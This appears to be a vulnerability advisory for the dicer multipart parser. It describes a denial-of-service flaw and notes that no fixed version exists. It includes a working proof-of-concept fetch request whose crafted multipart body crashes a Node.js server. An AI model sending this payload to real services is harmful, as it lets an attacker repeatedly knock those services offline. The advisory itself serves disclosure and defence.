Overview

Affected versions of this package are vulnerable to Denial of Service (DoS). A malicious attacker can send a modified form to server, and crash the nodejs service. An attacker could sent the payload again and again so that the service continuously crashes.

PoC:

    fetch('form-image', {
      method: 'POST',
      headers: {
        ['content-type']: 'multipart/form-data; boundary=----WebKitFormBoundaryoo6vortfDzBsDiro',
        ['content-length']: '145',
        host: '127.0.0.1:8000',
        connection: 'keep-alive',
      },
      body: '------WebKitFormBoundaryoo6vortfDzBsDiro\r\n Content-Disposition: form-data; name="bildbeschreibung"\r\n\r\n\r\n------WebKitFormBoundaryoo6vortfDzBsDiro--'
    });

Remediation

There is no fixed version for dicer.

References

• Github Commit
• Github Issue
• Github PR